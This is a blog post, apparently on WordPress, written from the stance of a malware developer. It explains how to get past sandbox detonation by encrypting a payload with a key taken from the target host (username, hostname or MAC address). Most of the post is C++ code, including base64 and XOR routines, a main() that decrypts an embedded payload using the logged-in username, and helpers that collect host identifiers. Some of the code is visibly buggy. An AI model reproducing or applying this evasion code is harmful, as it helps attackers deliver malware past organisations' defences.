Bypass Sandbox with Targeted Encryption Key

Hi Guys,

As the malware developer we need to ensure our malware are delivered to the endpoint successfully. We know that there are so many protection layers to prevent the malware from coming into the organization environment. Most organization implement sandbox to detonate the malware to understand the malware behaviour during the execution.

This is a simple way to bypass sandbox or at least reduce the detection. The malware creator will encrypt their payload with the decryption key gathered from the host target such as username.

The decryption key can be anything that gathered from the target environment such as username, hostname, domain, mac address. The expectation of this technique to allow the payload being decrypted and analyzed in the sandbox environment which is generic.

#include <iostream>
#include <windows.h>
using namespace std;

char base46_map[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
                     'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
                     'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
                     'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };


char* base64_encode(char* plain) {

    char counts = 0;
    char buffer[3];
    char* cipher = (char*)malloc(strlen(plain) * 4 / 3 + 4);
    int i = 0, c = 0;

    for (i = 0; plain[i] != '\0'; i++) {
        buffer[counts++] = plain[i];
        if (counts == 3) {
            cipher[c++] = base46_map[buffer[0] >> 2];
            cipher[c++] = base46_map[((buffer[0] & 0x03) << 4) + (buffer[1] >> 4)];
            cipher[c++] = base46_map[((buffer[1] & 0x0f) << 2) + (buffer[2] >> 6)];
            cipher[c++] = base46_map[buffer[2] & 0x3f];
            counts = 0;
        }
    }

    if (counts > 0) {
        cipher[c++] = base46_map[buffer[0] >> 2];
        if (counts == 1) {
            cipher[c++] = base46_map[(buffer[0] & 0x03) << 4];
            cipher[c++] = '=';
        }
        else {                      // if counts == 2
            cipher[c++] = base46_map[((buffer[0] & 0x03) << 4) + (buffer[1] >> 4)];
            cipher[c++] = base46_map[(buffer[1] & 0x0f) << 2];
        }
        cipher[c++] = '=';
    }

    cipher[c] = '\0';   /* string padding character */
    return cipher;
}

char* base64_decode(char* cipher) {

    char counts = 0;
    char buffer[4];
    char* plain = (char*)malloc(strlen(cipher) * 3 / 4);
    int i = 0, p = 0;

    for (i = 0; cipher[i] != '\0'; i++) {
        char k;
        for (k = 0; k < 64 && base46_map[k] != cipher[i]; k++);
        buffer[counts++] = k;
        if (counts == 4) {
            plain[p++] = (buffer[0] << 2) + (buffer[1] >> 4);
            if (buffer[2] != 64)
                plain[p++] = (buffer[1] << 4) + (buffer[2] >> 2);
            if (buffer[3] != 64)
                plain[p++] = (buffer[2] << 6) + buffer[3];
            counts = 0;
        }
    }

    plain[p] = '\0';    /* string padding character */
    return plain;
}

string encryptDecrypt(string toEncrypt, char * key ) {
    //char key[] = { '1', '2', '3'}; //Any chars will work
    string output = toEncrypt;

    for (int i = 0; i < toEncrypt.size(); i++) {
        output[i] = toEncrypt[i] ^ key[i % (sizeof(key) / sizeof(char))];
    }

    return output;
}

char* convertStringToChar(string encrypted) {
    char* cstr = new char[encrypted.length() + 1];
    strcpy(cstr, encrypted.c_str());
    return cstr;
}

int main(int argc, const char* argv[])
{
    char acUserName[100];
    DWORD nUserName = sizeof(acUserName);
    if (GetUserName(acUserName, &nUserName)) {
        cout << "User name as XOR key --> " << acUserName << "." << endl;
        char exploitPayload[] = "BzoqEyY+JCA0";
        string decrypted = encryptDecrypt(base64_decode(exploitPayload), acUserName);
        cout << "Decrypted Payload:" << decrypted << "\n";
    }
    return 0;
}

In the above code sample, The payload were XORed with a key gathered from the user environment that was username of the current logged windows session “User 10” and encoded with base64 for safe binary transfer over network. Therefore the original payload will never be known untill it is run with the correct user. this is very targeted.

below are some more code to gather environment information such as username

void getUser(){
 char acUserName[100];
 DWORD nUserName = sizeof(acUserName);
  if (GetUserName(acUserName, &nUserName)) {
      cout << "User name :" << acUserName <<  endl;
  }
}

Gathering hostname of the workstation or server

void getHost() {
   char buffer[MAX_COMPUTERNAME_LENGTH + 1];
   DWORD size = MAX_COMPUTERNAME_LENGTH + 1;
   GetComputerName(buffer, &size);
   printf("Computer name = %s\n", buffer);        
}

Gathring the Mac Address of the workstation

char* getMAC() {
    PIP_ADAPTER_INFO AdapterInfo;
    DWORD dwBufLen = sizeof(IP_ADAPTER_INFO);
    char* mac_addr = (char*)malloc(18);

    AdapterInfo = (IP_ADAPTER_INFO*)malloc(sizeof(IP_ADAPTER_INFO));
    if (AdapterInfo == NULL) {
        printf("Error allocating memory needed to call GetAdaptersinfo\n");
        free(mac_addr);
        return NULL; // it is safe to call free(NULL)
    }

    // Make an initial call to GetAdaptersInfo to get the necessary size into the dwBufLen variable
    if (GetAdaptersInfo(AdapterInfo, &dwBufLen) == ERROR_BUFFER_OVERFLOW) {
        free(AdapterInfo);
        AdapterInfo = (IP_ADAPTER_INFO*)malloc(dwBufLen);
        if (AdapterInfo == NULL) {
            printf("Error allocating memory needed to call GetAdaptersinfo\n");
            free(mac_addr);
            return NULL;
        }
    }

    if (GetAdaptersInfo(AdapterInfo, &dwBufLen) == NO_ERROR) {
        // Contains pointer to current adapter info
        PIP_ADAPTER_INFO pAdapterInfo = AdapterInfo;
        do {
            // technically should look at pAdapterInfo->AddressLength
            //   and not assume it is 6.
            sprintf(mac_addr, "%02X:%02X:%02X:%02X:%02X:%02X",
                pAdapterInfo->Address[0], pAdapterInfo->Address[1],
                pAdapterInfo->Address[2], pAdapterInfo->Address[3],
                pAdapterInfo->Address[4], pAdapterInfo->Address[5]);
            printf("Address: %s, mac: %s\n", pAdapterInfo->IpAddressList.IpAddress.String, mac_addr);
            // print them all, return the last one.
            // return mac_addr;

            printf("\n");
            pAdapterInfo = pAdapterInfo->Next;
        } while (pAdapterInfo);
    }
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s